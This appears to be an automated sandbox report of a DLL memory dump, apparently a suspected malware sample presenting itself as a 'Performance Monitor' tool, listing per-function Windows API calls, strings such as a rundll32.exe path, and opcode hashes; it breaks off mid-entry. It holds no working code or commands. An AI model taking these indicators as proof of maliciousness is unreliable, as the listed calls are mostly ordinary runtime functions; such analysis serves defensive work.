Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: cc5998345df5e0e48ab850dc754d9379ef7675b8cd2fb2455f6eef47ed6d7e1f
Instruction ID: 4103c3fc4f70a7e300031cf8a932461826e3c48ba677b3a329b3918dcad121d1
Opcode Fuzzy Hash: cc5998345df5e0e48ab850dc754d9379ef7675b8cd2fb2455f6eef47ed6d7e1f
Instruction Fuzzy Hash: 21D19975D00259EFDF11CFE8C8809EDBBB5AF59314F24056AE855BB242E730AA46CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30A60, Relevance: 9.2, APIs: 6, Instructions: 198threadCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 6ED30B0E

Part of subcall function 6ED323E0: EnterCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32414
Part of subcall function 6ED323E0: GetClassInfoExW.USER32 ref: 6ED32449
Part of subcall function 6ED323E0: GetClassInfoExW.USER32 ref: 6ED3245C
Part of subcall function 6ED323E0: LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32467

Part of subcall function 6ED373A0: GetProcessHeap.KERNEL32(00000008,00000008,00000000,6ED3226B), ref: 6ED373A5
Part of subcall function 6ED373A0: HeapAlloc.KERNEL32(00000000), ref: 6ED373AC

SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?,?,?,?,6ED58FD0,000000FF), ref: 6ED30B57
GetCurrentThreadId.KERNEL32 ref: 6ED30BFC
EnterCriticalSection.KERNEL32(6ED6DA58), ref: 6ED30C0A
LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED30C23
CreateWindowExW.USER32 ref: 6ED30C59

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$ClassEnterHeapInfoLeave$AllocClientCreateCurrentErrorLastProcessRectThreadWindow
String ID:
API String ID: 859899439-0
Opcode ID: 2a46554f16d04d205faa25861a2311742a6f67b1dc640f637f3c79fbe8405e88
Instruction ID: 7ba6217260c894445ee8a2e9b0a606429d6a80cf0b16b14880f52ecbd157f1b1
Opcode Fuzzy Hash: 2a46554f16d04d205faa25861a2311742a6f67b1dc640f637f3c79fbe8405e88
Instruction Fuzzy Hash: 4B617D71E10619EFDB14DFA8D894BAEBBB5FF49714F244619F815AB340E731A800CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2DF40, Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,00000000,00000000,?,C000008C,00000001), ref: 6ED2DF7E
CharNextW.USER32(00000000,?,00000000,00000000), ref: 6ED2DFAB
CharNextW.USER32(74ECEEF0,?,00000000,00000000), ref: 6ED2DFC4
CharNextW.USER32(74ECEEF0,?,00000000,00000000), ref: 6ED2DFCF
CharNextW.USER32(00000001,?,00000000,00000000), ref: 6ED2E03E

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: f053a4414c4385040a4f4936b0fdde07236af3745a6665458d73213aeda9e992
Instruction ID: 3b6246a108734e8667bc385cc02556be87154ba3fa5c6c2baa78ca41ca5c433f
Opcode Fuzzy Hash: f053a4414c4385040a4f4936b0fdde07236af3745a6665458d73213aeda9e992
Instruction Fuzzy Hash: 8441C235604116CFDB01DFB9C680669B7F2FF99314B54447AEA44CB348EB359983CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED24850, Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED24899
std::_Lockit::_Lockit.LIBCPMT ref: 6ED248BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED248DB
__Getctype.LIBCPMT ref: 6ED24971
std::_Facet_Register.LIBCPMT ref: 6ED24990
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED249A8

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 4dd35d9f3548dc9bd6d37888c6dbc968d74ad219803117d2628b820a51188a0e
Instruction ID: 2da887dd4eca23a4c35e0d814005da5c54b9fb61422484b5371126df2e85f443
Opcode Fuzzy Hash: 4dd35d9f3548dc9bd6d37888c6dbc968d74ad219803117d2628b820a51188a0e
Instruction Fuzzy Hash: F441C2B1D01614CFEB60CF94C840AAEB7B8EF05718F24456DDD55AB381EB31AA06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2D600, Relevance: 9.1, APIs: 6, Instructions: 121registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6ED2D510: GetModuleHandleW.KERNEL32(Advapi32.dll,3F169FAE), ref: 6ED2D564

RegCloseKey.ADVAPI32(?,?,?), ref: 6ED2D662
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 6ED2D6AA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 6ED2D6E3
RegCloseKey.ADVAPI32(?), ref: 6ED2D6F8
RegCloseKey.ADVAPI32(?), ref: 6ED2D720
RegCloseKey.ADVAPI32(?), ref: 6ED2D748

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Enum$HandleModule
String ID:
API String ID: 2852649468-0
Opcode ID: a841aee6354069037b171181d10458173baf3753f76e34faca8cb386afc2e477
Instruction ID: 27464863c6f03b5db92d6904cf6fd534b65ae3af66e6abf3b84c530d50a79252
Opcode Fuzzy Hash: a841aee6354069037b171181d10458173baf3753f76e34faca8cb386afc2e477
Instruction Fuzzy Hash: 9C417C72204315AFD710DFA4D844BABB7E8EF88319F10492EF999D7280DB34D904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2F4C0, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 351COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6ED20000,?,00000104), ref: 6ED2F6AC
GetModuleHandleW.KERNEL32(00000000), ref: 6ED2F864

Part of subcall function 6ED27B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6ED27B5D

Strings

Module, xrefs: 6ED2F911
Module_Raw, xrefs: 6ED2F93C
REGISTRY, xrefs: 6ED2F969

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: de29dd2eb74fa7e2bd12db663dc5e590e010384335a1882bbeba5be4465c7c41
Instruction ID: adb05750e40b7815fd78da7b2b91edbdf9b827f860b67d78de0efe655849472d
Opcode Fuzzy Hash: de29dd2eb74fa7e2bd12db663dc5e590e010384335a1882bbeba5be4465c7c41
Instruction Fuzzy Hash: BED170B5A006258FDB64DBA4DC50B9EB378BF45308F1009B9D90EA7640EB75DE84CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25BB0, Relevance: 9.1, APIs: 6, Instructions: 90windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6ED25BCB
GetMenuCheckMarkDimensions.USER32 ref: 6ED25C12
CoUninitialize.OLE32(?,6ED26387), ref: 6ED25C5A
GetForegroundWindow.USER32(?,6ED26387), ref: 6ED25C79
GetSystemDefaultUILanguage.KERNEL32(?,6ED26387), ref: 6ED25CD8

Part of subcall function 6ED25D10: GetMessageExtraInfo.USER32 ref: 6ED25E0F
Part of subcall function 6ED25D10: GetDesktopWindow.USER32 ref: 6ED25E15
Part of subcall function 6ED25D10: UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6ED25EA6
Part of subcall function 6ED25D10: UnregisterApplicationRestart.KERNEL32 ref: 6ED25EC0

AnyPopup.USER32 ref: 6ED25CE8

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregisterWindow$CallbackCheckCountDefaultDesktopDimensionsExtraForegroundInfoLanguageMarkMenuMessagePopupRecoveryRestartSystemTickUninitialize
String ID:
API String ID: 4182693304-0
Opcode ID: 6a3a6ffe3654118e221adc375689a89892300d36e7a46b2eeffef093337f4a47
Instruction ID: 78078d206dfca965ca24bbf558440d29509acee1fdaaf58ae147245947b68163
Opcode Fuzzy Hash: 6a3a6ffe3654118e221adc375689a89892300d36e7a46b2eeffef093337f4a47
Instruction Fuzzy Hash: 95310A71834E088EEB43AFF580166A9B328BF573C9F10DB63AB5636095FB1610C38572

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25F20, Relevance: 9.1, APIs: 6, Instructions: 79threadwindowclipboardCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8), ref: 6ED25F67
IsProcessDPIAware.USER32 ref: 6ED25F6F
CoFreeUnusedLibraries.OLE32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25F80
GetFocus.USER32 ref: 6ED25FB0
SetFileApisToOEM.KERNEL32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25FE3
GetClipboardSequenceNumber.USER32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED26020

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ApisAwareClipboardFileFocusFreeLibrariesLocaleNumberProcessSequenceThreadUnused
String ID:
API String ID: 3457905144-0
Opcode ID: 228aea00be3a1e47c9a814af84d3c0592147e700004f05a7f00629765594b19f
Instruction ID: e0d5d3735d7a0dbe7c92411e31f04d46f8b69699ae76473aa2c1382c3ca05704
Opcode Fuzzy Hash: 228aea00be3a1e47c9a814af84d3c0592147e700004f05a7f00629765594b19f
Instruction Fuzzy Hash: 3E214B71C54F148FD303DF78802566AF7ADAF9B398F005736E9516711AEB2188D386A2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED39ACC, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6ED381BC,6ED34296,6ED34919,?,6ED34B51,?,00000001,?,?,00000001,?,6ED69FC0,0000000C,6ED34C4A), ref: 6ED39ADA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6ED39AE8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6ED39B01
SetLastError.KERNEL32(00000000,6ED34B51,?,00000001,?,?,00000001,?,6ED69FC0,0000000C,6ED34C4A,?,00000001,?), ref: 6ED39B53

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: db5e25fc3cf6ee56f037d5cf7593dbd8efa9956b78f42e8aed94364a42315bdd
Instruction ID: 4ff4c36df21cc8e550741f378b4bd4480f9f4c1160ce878e3b07cc00ea2f1769
Opcode Fuzzy Hash: db5e25fc3cf6ee56f037d5cf7593dbd8efa9956b78f42e8aed94364a42315bdd
Instruction Fuzzy Hash: 4D01753222EA329EBF552BFA7CD4A562768EB03BB9B30463DE510450D8EF5188039960

Uniqueness

Uniqueness Score: -1.00%

Function 6ED305E0, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6ED2AF10: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?,?,3F169FAE,?), ref: 6ED2AD57

ShellExecuteW.SHELL32(00000000,edit,?,00000000,00000000,00000001), ref: 6ED30638
PdhRemoveCounter.PDH(?,?,00000000), ref: 6ED306D3
PdhCloseQuery.PDH(?,?,00000000), ref: 6ED306E8

Strings

edit, xrefs: 6ED30631
0, xrefs: 6ED30796

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCounterExecuteFolderPathQueryRemoveShell
String ID: 0$edit
API String ID: 2809573910-562573004
Opcode ID: ffec02d1fec65ba69a83a70ff14e19951770254ad868b5408c68ede511bb5557
Instruction ID: d9313bafb6f2a544a65e7c2072d323e8a7e8e12ac038c26f9df468fa1287a7c9
Opcode Fuzzy Hash: ffec02d1fec65ba69a83a70ff14e19951770254ad868b5408c68ede511bb5557
Instruction Fuzzy Hash: EE9102715007218FE700DF68C880B9FB7A5FF86358F204A1CE9949B691E776E985CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4BE3B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6ED4BE40

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 711e1aa35bdba7be6749605e44e3a9750831a756d781a4486d820e950407e68e
Instruction ID: 6b221798344780c9d45325e5da72a9e4223ab4ab239b817eb04a49799c0a06ff
Opcode Fuzzy Hash: 711e1aa35bdba7be6749605e44e3a9750831a756d781a4486d820e950407e68e
Instruction Fuzzy Hash: 1721CF71614616FF97108FE68C80D9F7BACEFB13687044A24E62497588DB31EC4187B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3AB77, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6ED3AC38,00000000,?,00000001,00000000,?,6ED3ACAF,00000001,FlsFree,6ED5BE6C,FlsFree,00000000), ref: 6ED3AC07

Strings

api-ms-, xrefs: 6ED3ABC7

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: d08e49947f208e646e5f9bc5575ffe04b397343732bf9ae572e2e185af55c52d
Instruction ID: e01fa921542a6f58f2345739c1db8be2ddc24f7549a8a8ea9513aeccde2b256f
Opcode Fuzzy Hash: d08e49947f208e646e5f9bc5575ffe04b397343732bf9ae572e2e185af55c52d
Instruction Fuzzy Hash: D411A336B55631EBEF528BAC9C50B4D37A9AB037B0F250210F915EB2C4D670ED018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30D20, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

InsertMenuW.USER32(?,?,00000C00,?,00000000), ref: 6ED30D4A
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Reload Configuration)), ref: 6ED30D5E
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Edit Configuration)), ref: 6ED30D72

Strings

Performance Monitor - (Edit Configuration), xrefs: 6ED30D60
Performance Monitor - (Reload Configuration), xrefs: 6ED30D4C

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: InsertMenu
String ID: Performance Monitor - (Edit Configuration)$Performance Monitor - (Reload Configuration)
API String ID: 1478380399-4081388356
Opcode ID: bbe1e0dfd50cdf3f0cbe035c186f88a80b76f2861f72f74e989b8f7b7b190a33
Instruction ID: 4ff77ebf896a061d2d2acdaba3d7ff4bfe5e1826a985eb440cd5e258f6925149
Opcode Fuzzy Hash: bbe1e0dfd50cdf3f0cbe035c186f88a80b76f2861f72f74e989b8f7b7b190a33
Instruction Fuzzy Hash: F8F0543314121D7BEB11DEC59C81FBB7B6CEB49714F144416FB149A181C371A5259BB4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4DE6C, Relevance: 7.7, APIs: 5, Instructions: 200COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6ED4DEF0
__alloca_probe_16.LIBCMT ref: 6ED4DFB6
__freea.LIBCMT ref: 6ED4E022

Part of subcall function 6ED4828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED482BE

__freea.LIBCMT ref: 6ED4E02B
__freea.LIBCMT ref: 6ED4E050

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 833c87d6c7ad5e976a3e99d2fdb9d122e97bca01f30a149cbbfad247b0dc1d34
Instruction ID: a691fb9273c1f94860cc084f1e1bffd3fc29c3a76f341eadfaaaf327f3c024be
Opcode Fuzzy Hash: 833c87d6c7ad5e976a3e99d2fdb9d122e97bca01f30a149cbbfad247b0dc1d34
Instruction Fuzzy Hash: 1C51B172600216FFEF218FE5CC40EAB3BA9DF65759F110529FD24AB140EB35DC518AA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED33460, Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

PdhRemoveCounter.PDH(?,3F169FAE,?,?,00000000,6ED590E0,000000FF,?,6ED3083E,00000000), ref: 6ED334A4
PdhCloseQuery.PDH(?,3F169FAE,?,?,00000000,6ED590E0,000000FF,?,6ED3083E,00000000), ref: 6ED334BA
PdhOpenQueryW.PDH(00000000,00000000,00000000), ref: 6ED334E4
PdhValidatePathW.PDH(?), ref: 6ED33547
PdhAddCounterW.PDH(00000000,?,00000000,?), ref: 6ED3356E

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CounterQuery$CloseOpenPathRemoveValidate
String ID:
API String ID: 698537007-0
Opcode ID: c61302ddf2e734228e10e16cb6fb03bb9fc925f441b89870fcde66a9a8f7afd5
Instruction ID: 45a6ea14f19b396098a73f324e1e98dd56f85893900240c953e49c5b05e3ed15
Opcode Fuzzy Hash: c61302ddf2e734228e10e16cb6fb03bb9fc925f441b89870fcde66a9a8f7afd5
Instruction Fuzzy Hash: DE518C71900669AFDB10CF94C944BDAB7B8FF46314F2086A9E569DB640D774EA80CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED24D10, Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED24D46
std::_Lockit::_Lockit.LIBCPMT ref: 6ED24D66
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED24D86
std::_Facet_Register.LIBCPMT ref: 6ED24E21
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED24E39

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 9b26f7f13482ccc5b4d8ba8d24012156e4dc0b0ea46a54b0bb56cd9164b37c61
Instruction ID: a89d0910be7555d32e3c8e9b9b31400400f8ecccb747cad3139794032476cf2c
Opcode Fuzzy Hash: 9b26f7f13482ccc5b4d8ba8d24012156e4dc0b0ea46a54b0bb56cd9164b37c61
Instruction Fuzzy Hash: 3741BD71904624CFEBA5CFD4C850BAEBBB9EF41718F20456DD905AB381DB31A906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25D10, Relevance: 7.6, APIs: 5, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 6ED25DBF
GetMessageExtraInfo.USER32 ref: 6ED25E0F
GetDesktopWindow.USER32 ref: 6ED25E15
UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6ED25EA6
UnregisterApplicationRestart.KERNEL32 ref: 6ED25EC0

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregister$CallbackDesktopDrivesExtraInfoLogicalMessageRecoveryRestartWindow
String ID:
API String ID: 4237200097-0
Opcode ID: cbc35c01b6cf24c61e4399f4bb6d6e57da31ddc8edab9b14648e8e2f0dea2f94
Instruction ID: 2d54dd5b2da028991af0600572fa7be713a4b703bae4316f5ba088acc6da364c
Opcode Fuzzy Hash: cbc35c01b6cf24c61e4399f4bb6d6e57da31ddc8edab9b14648e8e2f0dea2f94
Instruction Fuzzy Hash: 32410871C24F458EE647DBB0801246EF35D6FA72CDF60EB27E512F502AEF20A4D24562

Uniqueness

Uniqueness Score: -1.00%

Function 6ED35A5C, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED35A6D

Part of subcall function 6ED22200: std::_Lockit::_Lockit.LIBCPMT ref: 6ED2221D
Part of subcall function 6ED22200: std::_Lockit::~_Lockit.LIBCPMT ref: 6ED22239

codecvt.LIBCPMT ref: 6ED35AA7
std::_Facet_Register.LIBCPMT ref: 6ED35ABE
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED35ADE
Concurrency::cancel_current_task.LIBCPMT ref: 6ED35AEB

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Registercodecvt
String ID:
API String ID: 3595785899-0
Opcode ID: 21bad5793db67f643c43f1f510690265da5b9d3a0e95e432a7f92d6eaae18420
Instruction ID: 8c5e609ef8c323b53d498fe43fd83a79ef3b7ee113a5ae82322e4f001fc4939e
Opcode Fuzzy Hash: 21bad5793db67f643c43f1f510690265da5b9d3a0e95e432a7f92d6eaae18420
Instruction Fuzzy Hash: E001C0369005299FDF01DBE4C8506FE77B9AF86728F348809D8216B3C0CF309A018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED537CE, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED537E6

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED537F8
_free.LIBCMT ref: 6ED5380A
_free.LIBCMT ref: 6ED5381C
_free.LIBCMT ref: 6ED5382E

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: adf1d1d898576e0f5376e64b650081fcb0dde49c1d0c33a0963ac2de064867e8
Instruction ID: 02c09989b7574599a5b98ec16d8734fdd3ecf6936c1b2babd1e8c27087f3d8ef
